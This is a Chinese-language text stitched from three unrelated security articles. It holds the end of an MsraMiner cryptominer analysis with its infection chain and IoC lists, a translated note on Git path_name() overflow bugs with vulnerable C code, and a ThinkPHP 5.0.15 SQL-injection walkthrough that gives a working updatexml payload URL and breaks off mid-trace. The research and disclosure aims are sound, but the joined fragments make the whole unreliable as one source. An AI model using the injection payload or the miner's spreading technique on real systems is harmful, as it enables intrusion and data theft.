* A 中， srv 的 Common 模块检查自身的启动命令，如果不是由 svchost.exe / rundll32.exe / regsvr32.exe 其中之一启动，则结束进程，以此实现一定的反调试功能；
* A 中，srv 的 Common 模块 在 C:\Windows\system32\ 目录下创建 NetTraceDiagnostics.ini 文件；
* A 中， srv 的 Common 模块会杀掉第一代、第二代 MsraMiner 的相关进程，停止旧服务（vmichapagentsrv ）、删除旧文件；
* A 中 srv 的 Common 模块读取注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ 下面 ServicesPixels 键的值，该处保存着变形 XOR 加密后的 C2 Domain、矿池域名和挖矿账号；
* A 中 srv 的 WebHost 模块在 26931 端口启动 Mini WebServer，对任何 HTTP 请求均以 HTTP 404 响应。
* v2.0 的 Mini WebServer 端口是 36215 ，且功能更复杂，既提供压缩包的下载（请求hxxp://[c2 _domain]/NrsDataCache.tlb ），也提供注册表数据的下载（请求hxxp://[c2_ domain]/d/msdownload/update/others/88ee176ce078def878ee.cab ）；
* v2.0 的 srv 文件 还会通过 Downloader 模块向 C2 请求最新的配置数据（C2 Domain、矿 池域名和挖矿账号）；
* v2.0 的 srv 文件，还会把当前进程的运行日志频繁发送给 hxxp://err.njaavfxcgk3.club:443 ； A 中 srv 的 Job 模块，会从 C:\Windows\system32\MsraReportDataCache32.tlb 中解压出 hash 文件（xmrig 矿机程序），重命名为 TrustedHostServices.exe （v2.0 会重命名为 SecUpdateHost.exe ），并用注册表中读取的配置作为启动参数，启动矿机（矿机的线程数量策略同 v1.x）；
* A 中 srv 主模块会启动一个线程，每隔 1s 向 hxxp://[c2 _domain]:4433/uri_ path 发送 POST 请求，其中 uri_path 为 5b8c1d | d0a01e | a4c80e 其中之一，疑似可以从 C2 上获取 MsraReportDataCache32.tlb 来更新本地样本；
* A 中 srv 的 Infection 模块从 C:\Windows\system32\MsraReportDataCache32.tlb 中解压出 spoolsv32 ，重命名为 spoolsv.exe 并启动，执行感染功能，spoolsv.exe 的具体功能如下：
* 从 C:\Windows\system32\MsraReportDataCache32.tlb 中解压出 crypt(.zip)，crypt 是 NSA 工具包，从中取出攻击程序和配置文件，向局域网发起攻击，Payload 为 crypt 压缩包中的 86.dll / x64.dll；
* 入侵成功后，Paylod DLL 在失陷主机 B 那里开 57219 端口，然后从攻击机把MsraReportDataCache32.tlb 上传到失陷主机 B；
* 探测局域网主机 26931（Mongoose WebServer）端口，26931 端口由其他失陷主机的主控模块 srv 开 启；
* 与 C2 交互（功能未明，C2 已失效，以下 C2 仅为举例）：
hxxp://acs.njaavfxcgk3.club:4431/f79e53
hxxp://acs.njaavfxcgk3.club:4433/5b8c1d
hxxp://rer.njaavfxcgk3.club:4433/a4c80e
hxxp://rer.njaavfxcgk3.club:4433/d0a01e
‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐
hxxp://ccc.njaavfxcgk3.club:4431/f79e53
hxxp://ccc.njaavfxcgk3.club:4433/5b8c1d
hxxp://rer.njaavfxcgk3.club:4433/a4c80e
hxxp://rer.njaavfxcgk3.club:4433/d0a01e
* B 中 x86.dll 有以下主要行为：
* 删除旧文件 MsraReportDataCache32.tlb/tpmagentservice.dll/NetTraceDiagnostics.ini ；
* 从 57219 端口接收 A 主机传过来的 MsraReportDataCache32.tlb ；
* 将自身携带的加密数据存储到注册表项 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ 下面 ServicesPixels 键中；
* 终止旧的主服务，从 MsraReportDataCache32.tlb 中解压出 srv 文件，重命名为tpmagentservice.dll ，并重新注册服务 tpmagentservice ，启动 tpmagentservice.dll 的ServiceCrtMain() 函数。 至此，第二代 MsraMiner 完成了从失陷主机 A 到失陷主机 B 的感染，并根据配置文件启动矿机程序进行挖矿
## IoC 列表
## #
swt.njaavfxcgk3.club
x1.sk0zda1rmzs.world
x5.sk0zda1rmzs.world
d1d1d1.ftbxedwakc.me
x1x1x1.ftbxedwakc.me
tar.kziu0tpofwf.club
rer.njaavfxcgk3.club
acs.njaavfxcgk3.club
ccc.njaavfxcgk3.club
cf.sk0zda1rmzs.world
cm.sk0zda1rmzs.world
cmcmcm.ftbxedwakc.me
err.njaavfxcgk3.club
rat.kziu0tpofwf.club
p3.njaavfxcgk3.club
s.drawal.tk
d.drawal.tk
z.drawal.tk
eea.asf3r23.cf
p3.qsd2xjpzfky.site
p1.mdfr6avyyle.online
p1.qsd2xjpzfky.site
p5.qsd2xjpzfky.site
p5.mdfr6avyyle.online
p3.mdfr6avyyle.online
p1.vpccaydoaw.live
p5.vpccaydoaw.live
p3.vpccaydoaw.live
## C2 ip asn
AS20473 Choopa, LLC 104.238.149.229
AS20473 Choopa, LLC 107.191.61.152
AS20473 Choopa, LLC 108.61.246.77
AS20473 Choopa, LLC 108.61.247.93
AS4837 CHINA UNICOM China169 Backbone 119.188.68.5
AS20473 Choopa, LLC 207.246.100.220
AS20473 Choopa, LLC 45.32.110.163
AS20473 Choopa, LLC 45.32.121.95
AS20473 Choopa, LLC 45.32.127.108
AS20473 Choopa, LLC 45.32.48.160
AS20473 Choopa, LLC 45.32.51.130
AS20473 Choopa, LLC 45.63.127.197
AS20473 Choopa, LLC 45.63.94.237
AS20473 Choopa, LLC 45.76.103.25
AS20473 Choopa, LLC 45.76.185.56
AS20473 Choopa, LLC 45.76.188.118
AS20473 Choopa, LLC 45.76.199.181
AS20473 Choopa, LLC 45.76.48.72
AS20473 Choopa, LLC 45.76.51.49
AS20473 Choopa, LLC 45.76.55.4
AS20473 Choopa, LLC 45.77.11.148
AS20473 Choopa, LLC 45.77.14.227
AS20473 Choopa, LLC 45.77.20.217
AS20473 Choopa, LLC 45.77.22.234
AS20473 Choopa, LLC 45.77.25.58
AS20473 Choopa, LLC 45.77.29.88
AS20473 Choopa, LLC 45.77.31.21
## 样本 md5
011d6ce51b7806dca26c300e8d26f9bb
1e0022c02030f2b4353b583beffbade9
3aba72d1f87f4372162972b6a45ed8cd
593c0352bda3fee2e0d56d63601fa632
61c49acb542f5fa5ea9f2efcd534d720
6b6dd446403f10f43c33e83946eafa99
74fc7442f54a49875cbd5c3d6398847a
a937565fc52028949d8fca743c05b273
a9ef70160121d3d6ca0692b3081498fd
aa378f3f047acc8838ffd9fe4bd0025b
c24315b0585b852110977dacafe6c8c1
c284767a12c1670f30d3d1fe1cd8aedd
045cb0ab19e900e07f148233762cdff6
2bcd21c4ce8a1a2ff0769cd2aef2ff88
ed0fe346f568d6dff3aaf0077c91df2a
f7cd555799147d509e554b0e585aced0
c899d12ceff6ded5a37335f44356caaf
4b157f03f33cccb7b4182351a5126936
33fe92ae1bb36e7a7b7b7342627bd31e
49f7f7d75021e90761141c5fe76445a6
d92cd7ddb81d2c4a17e1b329ef7a2f1d
dca0d1e613f2ac48e231883870e5b3e9
739ab9250f32e006208f1ff15cd0d772
a8dfb2d7aee89a4b9ad194c7128954c6 | 社区文章 |
# v2.7.1以下版本的Git中存在漏洞，或可导致远程代码执行
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://seclists.org/oss-sec/2016/q1/645>
译文仅供参考，具体内容表达以及含义原文为准。
**据了解，安全研究人员在2.7.1版本之前的所有版本Git中发现了一个安全漏洞，其服务器端和客户端中均存在这一漏洞。攻击者可利用这个漏洞来引起目标系统的缓冲区溢出，从而在目标主机中实现远程代码执行。（漏洞信息目前尚未公布，CVE-2016-2324和CVE
2016‑2315）**
在此之前，安全研究人员曾就这个缓冲区溢出漏洞进行过分析和描述，具体内容请点击[这里](http://pastebin.com/UX2P2jjg)进行查看。
2016年2月11日，Jeff King在git安全邮件中写下了下面这段内容：
“2016年2月11日，星期四，下午2点32分49秒，‘Laël
Cellier’在Git安全中写到：利用一个较长的文件名，或者大量的嵌套树，就可以推送或者克隆一个Git代码库，这就是这个漏洞的工作方式。
而现在的问题就在于，受此漏洞影响的版本数量非常之多，大量版本的Git代码分支目前仍处于使用状态，而且其中还有很多为稳定的代码分支。所以我认为这个漏洞是一个非常严重的漏洞，它应该得到CVE的认证，并且我也认为应该将此漏洞的详细信息公布出来。”
没错，正如你所说的那样，我也确实认为低于v2.7.0版本的Git中存在一个堆溢出漏洞。但是我并不认为导致这一问题出现的唯一原因就是其中的path_name()，而且当前最新版本中仍然存在这一问题。
由于之前所发布的代码比较杂乱，阅读起来非常地有困难。所以我对相关代码进行了整理，并提供给大家：
char *path_name(const struct name_path *path, const char *name)
{
const struct name_path *p;
char *n, *m;
int nlen = strlen(name);
int len = nlen + 1;
for (p = path; p; p = p->up) {
if (p->elem_len)
len += p->elem_len + 1;
}
n = xmalloc(len);
m = n + len - (nlen + 1);
memcpy(m, name, nlen + 1);
for (p = path; p; p = p->up) {
if (p->elem_len) {
m -= p->elem_len + 1;
memcpy(m, p->elem, p->elem_len);
m[p->elem_len] = '/';
}
}
return n;
}
根据漏洞的描述信息，系统所分配的内存空间大小与strcpy函数需要写入数据的大小并不匹配。但是从某种程度上来说，我们可以利用memcpy()函数来解决这一问题，因为至少“len”的初始值与我们所需要写入的数据字节数是匹配的（也许相关的数值并不是真实值，但是只要我们写入的数据大小不超过内存空间的分配值就可以了）。
但是在系统对数据进行了循环计算之后，“len”的值是会进行相应改变的。如果你已经获取到了path参数的序列值（每个值均小于2^31），系统将会把这些数值进行相加，并得出一个更小的正数值。比如说，我们需要处理的数据为A/B/C，其中各个数据长度如下：
A=2^31-5, B=2^31-5,
C=20,，系统在计算之后最终将会得到len=10。然后，缓冲区的大小将会变小，以至于无法存储C的数据，这样一来，系统将无法存储在第二轮循环中所需要写入的数据了。
针对这一问题，我也提出了我自己的解决方案。我发现，只需要将所有的“int”整形变量转变为“size_t”就可以适当缓解这个问题了。虽然这样做并不能完美解决所有的问题，但是这也意味着在一个64位架构的操作系统中，用户将需要利用一个长度为2^64的值来触发这个漏洞，这是很不切实际的。虽然这种操作方式可以帮助64位的系统来避免这个问题，但是32位的操作系统就没办法了。
这里还有一个值得注意的地方，在tree-diff.c中的path_appendnew()函数中还存在一个类似的问题。我们需要在strbuf中构建一个完整的路径名称，并利用相应的函数参数来对内存空间溢出进行检测。但是当我们将length长度作为一个整形参数传递给函数之后，系统会分配一个FLEX_ARRAY结构体来对传入的参数进行处理。我认为，这个问题比我们之前所讨论的问题都要有意思。因为我们可以通过git-log来触发这个漏洞，而且只有当系统对代码进行重新封装的过程中才会利用到path_name()函数。所以，虽然这个问题始终会对你产生影响，但是并不会在你刚开始克隆代码库的时候就出现问题。
而我就这一问题所提出的解决方案与之前方案的类似：我们需要使用size_t。这样一来，至少可以保证在64位操作系统中，必须分配一个较大的数值才能触发这个漏洞。虽然在32位操作系统中的效果并不是那么好，但是至少也可以帮助你避免内存空间分配失败的问题。
所以这也就是我为什么要将这个漏洞缓解方案提交上来的原因。我也承认，这些解决方案的确不能完美解决这些问题。完美的解决方案应该是：始终使用size_t来存储strlen()函数的返回值，并且当我们需要对size_t的数值进行计算处理之前，必须对内存空间做溢出检测。
可能有的读者还记得我在去年所发表的一系列相关文章，感兴趣的读者可以看一看，也许大家能够从中发现一些新的东西。
除此之外，我认为其实我们可以完全弃用path_name()函数。该函数的唯一用处就是计算数据包对象的包名哈希值，实际上我们并不需要通过在内存中重构数据包来实现这一点。
据了解，本文所有讨论的问题都已经在git 2.7.1版本中得到了修复，该版本移除了path_name(),tree-diff.c文件中的size_t，以及缓冲区溢出检测机制。其实在此之前，Github已经为其企业用户修复了这一问题。目前，Bitbucket和GitLab仍然会受到这个问题的影响。虽然目前此漏洞还未得到CVE认证，但是我相信相关人员很快会对这一问题进行处理。 | 社区文章 |
大多数文章都是分析了几个关键点，没有去详细的分析一下源码，最近，逐行跟了一下thinkphp5.0.15的SQL注入漏洞，
希望对分析thinkphp框架SQL注入的师傅们有点帮助。
## 基础
先摆上这次需要用到的一些内置函数
list — 把数组中的值赋给一组变量
array_walk_recursive — 对数组中的每个成员递归地应用用户函数
注意 键和值是反过来的
is_scalar — 检测变量是否是一个标量
composer安装
刚刚学到一个composer的新用法，可以把tp版本回退
"require": {
"php": ">=5.4.0",
"topthink/think-installer": "5.0.15"
},
这样就可以回退到5.0.15版本
index控制器 加上这么一段连接数据库的代码
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}
database.php中 配置数据库，
在创建一个数据库
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
config.php中 配置这两个为true
## 漏洞复现
http://127.0.0.1/tp5.0.22/public/index.php/index/Index/index?username[0]=dec&username[1]=updatexml(1,concat(0x7e,user(),0x7e),1)&username[2]=1
## 漏洞分析
get打个断点，调一下
进入get方法
/**
* 设置获取GET参数
* @access public
* @param string|array $name 变量名
* @param mixed $default 默认值
* @param string|array $filter 过滤方法
* @return mixed
*/
public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;//把GET数组 传给 get变量，不过我在这里调试的时候，get已经有值了，
//我估计应该是框架启动的时候添加的
}
if (is_array($name)) {//这里的name参数，是前面get方法设置的username/a /a代表强制转换成数组
//这里的name很显然不是数组，直接进入到了下面的input方法
$this->param = [];
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);// 四个参数 GET数组,username/a,null,''
}
input方法
/**
* 获取变量 支持过滤和默认值
* @param array $data 数据源
* @param string|false $name 字段名
* @param mixed $default 默认值
* @param string|array $filter 过滤函数
* @return mixed
*/
public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {//这里的name如果是false的换，就代表前面的get方法没有定义获取那个数据，以及数据类型
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
// 解析name
if (strpos($name, '/')) {//检测name中是否有/ 也就代表检测对数据格式是否有要求
list($name, $type) = explode('/', $name);// 把name根据/ 拆分成数组，然后赋值给name type
//现在name=username type=a
} else {
$type = 's';//如果前面的获取参数的方法没有设置数据类型，默认为s 字符串类型
}
// 按.拆分成多维数组进行判断
foreach (explode('.', $name) as $val) {//前面只传了username 所以val=username，
//多说一句，我推测这里的.应该是input('变量类型.变量名/修饰符');
//tp官方文档里面定义的助手函数，这里有个“.”
if (isset($data[$val])) {//data是GET数组中的内容，data[username]
$data = $data[$val];//这样就把请求中的username参数，，传给了data，
//注意这里的username也是一个数组
} else {
// 无输入数据，返回默认值
return $default;//代表没有规则（username/a）中的参数传入，所以返回默认值
}
}
if (is_object($data)) {//data是username这个数组，不是对象
return $data;
}
}
// 解析过滤器
$filter = $this->getFilter($filter, $default);
// 看下getFiler函数， 就是对filter进行了一个赋值，传进来的filter是空字符串''，返回的filter是空数组[]
//protected function getFilter($filter, $default)
// {
// if (is_null($filter)) {
// $filter = [];
// } else {
// $filter = $filter ?: $this->filter;
// if (is_string($filter) && false === strpos($filter, '/')) {
// $filter = explode(',', $filter);
// } else {
// $filter = (array) $filter;
// }
// }
// $filter[] = $default;
// return $filter;
//}
if (is_array($data)) {//data是username的数组
array_walk_recursive($data, [$this, 'filterValue'], $filter);//进入回调函数，
跟进看一下filterValue函数，类似于循环，会把数组中的元素，挨个传到filterValue方法
private function filterValue(&$value, $key, $filters)//value是data中的值，也就是GET数组中的值，即
//参数的值，key是GET数组中的键，即参数的名，filters是要过滤规则
{
$default = array_pop($filters);//把数组中的元素弹出
foreach ($filters as $filter) {
if (is_callable($filter)) {//是否能够进行函数调用，这里的filter是空，所以无法调用
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {//检测一个变量是否是标量，那些东西是标量看上面的函数介绍
if (false !== strpos($filter, '/')) {//filter为空，所以strpos返回false，进入到了下面的elseif
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {//filter是空的，所以这里也会跳过
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);//直接就到了这里的filterExp方法
看一下这个方法是一个过滤函数，但是payload中的关键字，都没被过滤
public function filterExp(&$value)//这里的value是引用传值，所以说data中的值，会被直接修改
{
// 过滤查询特殊字符
if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
$value .= ' ';//如果被检测到，会在后面加一个空格
}
// TODO 其他安全过滤
}
}
回到input函数
reset($data);//数组指针指向数组中的第一个单元
} else {
$this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {//type已经设置是a， $default是null
//所以这里会进入typeCast的判断
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;//把data返回
}
跟进typeCast方法，进行强制转换
private function typeCast(&$data, $type)
{
switch (strtolower($type)) {
// 数组
case 'a':
$data = (array) $data;//因为type是a，所以强制转换为数组
break;
// 数字
case 'd':
$data = (int) $data;
break;
// 浮点
case 'f':
$data = (float) $data;
break;
// 布尔
case 'b':
$data = (boolean) $data;
break;
// 字符串
case 's':
default:
if (is_scalar($data)) {
$data = (string) $data;
} else {
throw new \InvalidArgumentException('variable type error：' . gettype($data));
}
}
}
这里和官方文档的对上了
梳理一下，从调用get开始，到返回data经过的步骤
下面进入到了insert方法
看一下传给Insert方法的参数
GET数组中的值已经被传过来了
这里的db，这种写法是利用了助手函数，所以会进入到helper.php中
helper.php
if (!function_exists('db')) {
/**
* 实例化数据库类
* @param string $name 操作的数据表名称（不含前缀）
* @param array|string $config 数据库配置参数
* @param bool $force 是否强制重新连接
* @return \think\db\Query
*/
function db($name = '', $config = [], $force = false)//只传了一个name是users
{
return Db::connect($config, $force)->name($name);
}
}
跟进
Db::connect 会进入到Loader.php 下的autoload方法，触发自动加载 把Db类导入
*/
public static function autoload($class)
{
// 检测命名空间别名
if (!empty(self::$namespaceAlias)) {
$namespace = dirname($class);
if (isset(self::$namespaceAlias[$namespace])) {
$original = self::$namespaceAlias[$namespace] . '\\' . basename($class);
if (class_exists($original)) {
return class_alias($original, $class, false);
}
}
}
结果就是把这个文件包含进来
进入connect方法
public static function connect($config = [], $name = false)
//传过来的参数是$config=[] $name=false和默认一样
{
if (false === $name) {//进入
$name = md5(serialize($config));//对config进行一次序列化和md5
}
if (true === $name || !isset(self::$instance[$name])) { //name虽然不等于true，
//但是后面的self::$instance[$name]是没有设置的，
//个人感觉$name是一个MD5的hash值是一个随机的数，不能这么巧，恰好定义
//回去看了一下$instance的定义
//@var Connection[] 数据库连接实例
// 解析连接参数 支持数组和字符串
$options = self::parseConfig($config);//config=[] 空数组
跟进parseConfig方法
/**
* 数据库连接参数解析
* @access private
* @param mixed $config 连接参数
* @return array
*/
private static function parseConfig($config)
{
if (empty($config)) {//进入
$config = Config::get('database');//跟进，详细的在下面
} elseif (is_string($config) && false === strpos($config, '/')) {
$config = Config::get($config); // 支持读取配置参数
}
return is_string($config) ? self::parseDsn($config) : $config;
}
跟进config的get方法
/**
* 获取配置参数 为空则获取所有配置
* @access public
* @param string $name 配置参数名（支持二级配置 . 号分割）
* @param string $range 作用域
* @return mixed
*/
public static function get($name = null, $range = '')//name=database
{
$range = $range ?: self::$range;//这个文件自定义了一个静态变量，值是_sys_
// 无参数时获取所有
if (empty($name) && isset(self::$config[$range])) {//name不是空，所以跳过这个if
return self::$config[$range];
}
// 非二级配置时直接返回
if (!strpos($name, '.')) {//name中没有 "." 所以进入
$name = strtolower($name);//变成小写
return isset(self::$config[$range][$name]) ? self::$config[$range][$name] : null;
//如果self::$config[_sys_][database]已经设置返回self::$config[_sys_][database] 否则返回Null
//$config变量在框架初始化的时候，就已经加载完毕了，
//关于database的内容就是 application/database.php中的内容
}
}
这里提到一个二级配置 看看是个啥东西
就是一个嵌套的数组
读取二级配置
这里有个 "." 这就对应上了
if (!strpos($name, '.'))
为啥有点"."就跳过
回到connect方法
if (empty($options['type'])) {//这里的type是数据库的类型，我这里用的MySQL
throw new \InvalidArgumentException('Undefined db type');
}
$class = false !== strpos($options['type'], '\\') ?
$options['type'] :
'\\think\\db\\connector\\' . ucwords($options['type']);
// 记录初始化信息
if (App::$debug) {
Log::record('[ DB ] INIT ' . $options['type'], 'info');//这里会把初始化信息写入日志
}
if (true === $name) {//name不等于true，跳过
$name = md5(serialize($config));
}
self::$instance[$name] = new $class($options);//new 一个MySQL类，参数是database中的配置信息
}
return self::$instance[$name];//把实例化好的MySQL类返回
}
$class是MySQL
同样会调用自动加载
然后把文件包含进来
之后进入connection类的初始化方法，因为MySQL类是继承自connection类的，并且MySQL类没有实现初始化方法
public function __construct(array $config = [])//传过来的config是database.php中的配置参数
{
if (!empty($config)) {
$this->config = array_merge($this->config, $config);//这里进行合并
}
}
之后就回到了connect方法，紧接着调用insert方法，
/**
* 插入记录
* @access public
* @param mixed $data 数据
* @param boolean $replace 是否replace
* @param boolean $getLastInsID 返回自增主键
* @param string $sequence 自增序列名
* @return integer|string
*/
public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
{
// 分析查询表达式
$options = $this->parseExpress();
跟进parseExpress方法
/**
* 分析表达式（可用于查询或者写入操作）
* @access protected
* @return array
*/
protected function parseExpress()
{
$options = $this->options;
// 获取数据表
if (empty($options['table'])) {//没有设置$option['table']，所以进入if
$options['table'] = $this->getTable();//获取表名
}
进入getTable方法，获取表名
**
* 得到当前或者指定名称的数据表
* @access public
* @param string $name
* @return string
*/
public function getTable($name = '')
{
if ($name || empty($this->table)) {//name没有设置为空，所以会进入if
$name = $name ?: $this->name;//把属性中的name传过来，进行赋值
$tableName = $this->prefix;//这个prefix是表前缀，没有定义
if ($name) {//现在name已经不为空了，==》users
$tableName .= Loader::parseName($name);//这个parseName是命名风格转换，影响不大，跳过
}
} else {
$tableName = $this->table;
}
return $tableName;//最后把表名返回
}
回到parseExpress方法
if (!isset($options['where'])) {//没有设置，置where字段为空数组
$options['where'] = [];
} elseif (isset($options['view'])) {
// 视图查询条件处理
foreach (['AND', 'OR'] as $logic) {
if (isset($options['where'][$logic])) {
foreach ($options['where'][$logic] as $key => $val) {
if (array_key_exists($key, $options['map'])) {
$options['where'][$logic][$options['map'][$key]] = $val;
unset($options['where'][$logic][$key]);
}
}
}
}
if (isset($options['order'])) {//没有设置order字段，直接跳过
// 视图查询排序处理
if (is_string($options['order'])) {
$options['order'] = explode(',', $options['order']);
}
foreach ($options['order'] as $key => $val) {
if (is_numeric($key)) {
if (strpos($val, ' ')) {
list($field, $sort) = explode(' ', $val);
if (array_key_exists($field, $options['map'])) {
$options['order'][$options['map'][$field]] = $sort;
unset($options['order'][$key]);
}
} elseif (array_key_exists($val, $options['map'])) {
$options['order'][$options['map'][$val]] = 'asc';
unset($options['order'][$key]);
}
} elseif (array_key_exists($key, $options['map'])) {
$options['order'][$options['map'][$key]] = $val;
unset($options['order'][$key]);
}
}
}
}
if (!isset($options['field'])) {//没有设置，置field字段为*
$options['field'] = '*';
}
if (!isset($options['data'])) {
$options['data'] = [];//置data字段为空数组
}
if (!isset($options['strict'])) {
$options['strict'] = $this->getConfig('fields_strict');//获取数据库的配置参数，
//这个先是调用query类的getConfig方法，之后再去调用connection类的getConfig方法，获取数据库的配置信息
}
foreach (['master', 'lock', 'fetch_pdo', 'fetch_sql', 'distinct'] as $name) {
//这个foreach循环，大致意思是判断$option中有没有设置对应的单元，没有设置则置为false
if (!isset($options[$name])) {
$options[$name] = false;
}
}
foreach (['join', 'union', 'group', 'having', 'limit', 'order', 'force', 'comment'] as $name) {
//和上面一样，不过这个是置为空字符串
if (!isset($options[$name])) {
$options[$name] = '';
}
}
if (isset($options['page'])) {//没有设置，直接跳过
// 根据页数计算limit
list($page, $listRows) = $options['page'];
$page = $page > 0 ? $page : 1;
$listRows = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
$offset = $listRows * ($page - 1);
$options['limit'] = $offset . ',' . $listRows;
}
$this->options = [];//options属性置为空数组，他和options变量不一样
return $options;
}
看下options的内容
回到insert方法，继续往下看
$data = array_merge($options['data'], $data);//把option中的data和data数组合并
// 生成SQL语句
$sql = $this->builder->insert($data, $options, $replace);//调用builder类的insert方法
跟进 看一下注释就知道这个方法是干啥的了
**
* 生成insert SQL
* @access public
* @param array $data 数据
* @param array $options 表达式
* @param bool $replace 是否replace
* @return string
*/
public function insert(array $data, $options = [], $replace = false)
{
// 分析并处理数据
$data = $this->parseData($data, $options);//
跟进parseData方法，
/**
* 数据分析
* @access protected
* @param array $data 数据
* @param array $options 查询参数
* @return array
* @throws Exception
*/
protected function parseData($data, $options)
{
if (empty($data)) {//data非空，跳过
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);//进入query类的getFieldsBind方法，
跟进 getFieldsBind 方法
// 获取当前数据表绑定信息
public function getFieldsBind($table = '')//table=users
{
$types = $this->getFieldsType($table);//跟进
跟进getFieldsType方法，
// 获取当前数据表字段类型
public function getFieldsType($table = '')
{
return $this->getTableInfo($table ?: $this->getOptions('table'), 'type');//跟进
}
跟进getTableInfo方法
/**
* 获取数据表信息
* @access public
* @param mixed $tableName 数据表名 留空自动获取
* @param string $fetch 获取信息类型 包括 fields type bind pk
* @return mixed
*/
public function getTableInfo($tableName = '', $fetch = '')
{
if (!$tableName) {//tablename已经设置，跳过
$tableName = $this->getTable();
}
if (is_array($tableName)) {//不是数组,users 跳过
$tableName = key($tableName) ?: current($tableName);
}
if (strpos($tableName, ',')) {//tablename中没有逗号，跳过
// 多表不获取字段信息
return false;
} else {//进入这个分支
$tableName = $this->parseSqlTable($tableName);//调用到parseSqlTable方法，
//这个方法的作用是把表名转成小写，不在详细分析
}
// 修正子查询作为表名的问题
if (strpos($tableName, ')')) {//同样 tablename中也没有)，跳过
return [];
}
list($guid) = explode(' ', $tableName);//跟进空格，拆分成数组赋值给guid
$db = $this->getConfig('database');//获取数据库名
if (!isset(self::$info[$db . '.' . $guid])) {// 判断有没有设置info[tpdemo.users]
if (!strpos($guid, '.')) {//如果guid这个变量中，没有点“.” 就把库名和表名，通过"." 连接起来
$schema = $db . '.' . $guid;
} else {
$schema = $guid;
}
// 读取缓存
if (!App::$debug && is_file(RUNTIME_PATH . 'schema/' . $schema . '.php')) {//没有设置缓存，跳过
$info = include RUNTIME_PATH . 'schema/' . $schema . '.php';
} else {
$info = $this->connection->getFields($guid);//获取表中的字段信息，
}
跟进getFields方法
/**
* 取得数据表的字段信息
* @access public
* @param string $tableName
* @return array
*/
public function getFields($tableName)
{
list($tableName) = explode(' ', $tableName);//把表名根据空字符串拆成数组，
if (false === strpos($tableName, '`')) {//如果tablename中没有反引号“`”，在tablename两端加上反引号
if (strpos($tableName, '.')) {
$tableName = str_replace('.', '`.`', $tableName);
}
$tableName = '`' . $tableName . '`';
}
$sql = 'SHOW COLUMNS FROM ' . $tableName;// 执行一次查询，拿到当前表名的列信息
$pdo = $this->query($sql, [], false, true);
$result = $pdo->fetchAll(PDO::FETCH_ASSOC);
简单的看一下query方法，他是利用了PDO来查询
if (empty($this->PDOStatement)) {
$this->PDOStatement = $this->linkID->prepare($sql);
}
这是我在数据库，执行一次，拿到的结果
mysql> show columns from users;
+----------+-------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | NULL | auto_increment |
| username | varchar(50) | NO | | NULL | |
+----------+-------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)
接着看getFields方法
现在的result数组
$info = [];
if ($result) {
foreach ($result as $key => $val) {//变量result数组
$val = array_change_key_case($val);//把数组的键名都变成小写,val也是一个数组
$info[$val['field']] = [//执行完这一段之后，就把val中的信息，传给了 info
'name' => $val['field'],//字段名
'type' => $val['type'],//字段的类型
'notnull' => (bool) ('' === $val['null']), // not null is empty, null is yes
'default' => $val['default'],
'primary' => (strtolower($val['key']) == 'pri'),
'autoinc' => (strtolower($val['extra']) == 'auto_increment'),
];
}
}
return $this->fieldCase($info);//这个方法是把字段进行一个大小写的转换
}
看下返回的内容
回到getTableInfo方法
$fields = array_keys($info);
$bind = $type = [];
foreach ($info as $key => $val) {
// 记录字段类型
$type[$key] = $val['type'];
$bind[$key] = $this->getFieldBindType($val['type']);
跟进getFieldBindType方法
/**
* 获取字段绑定类型
* @access public
* @param string $type 字段类型
* @return integer
*/
protected function getFieldBindType($type)
{
if (0 === strpos($type, 'set') || 0 === strpos($type, 'enum')) {
$bind = PDO::PARAM_STR;
} elseif (preg_match('/(int|double|float|decimal|real|numeric|serial|bit)/is', $type)) {
//因为数据库里设置id字段的类型是int ，所以会进入这个分支，
//PDO::PARAM_INT (integer)
//表示 SQL 中的整型。
$bind = PDO::PARAM_INT;
} elseif (preg_match('/bool/is', $type)) {
$bind = PDO::PARAM_BOOL;
} else {//username字段是字符串类型，会进入最后一个分支
$bind = PDO::PARAM_STR;
}
return $bind;//把bind返回，
}
回到getTableInfo方法
if (!empty($val['primary'])) {//这一块是一个设置主机的过程，不详细分析了
$pk[] = $key;
}
}
if (isset($pk)) {
// 设置主键
$pk = count($pk) > 1 ? $pk : $pk[0];
} else {
$pk = null;
}
self::$info[$db . '.' . $guid] = ['fields' => $fields, 'type' => $type, 'bind' => $bind, 'pk' => $pk];
//对self::$info进行赋值，把users表的字段信息，都返回
}
return $fetch ? self::$info[$db . '.' . $guid][$fetch] : self::$info[$db . '.' . $guid];
}
把self::$info返回，内容在这里
回到getFieldsBind方法
$bind = [];
if ($types) {
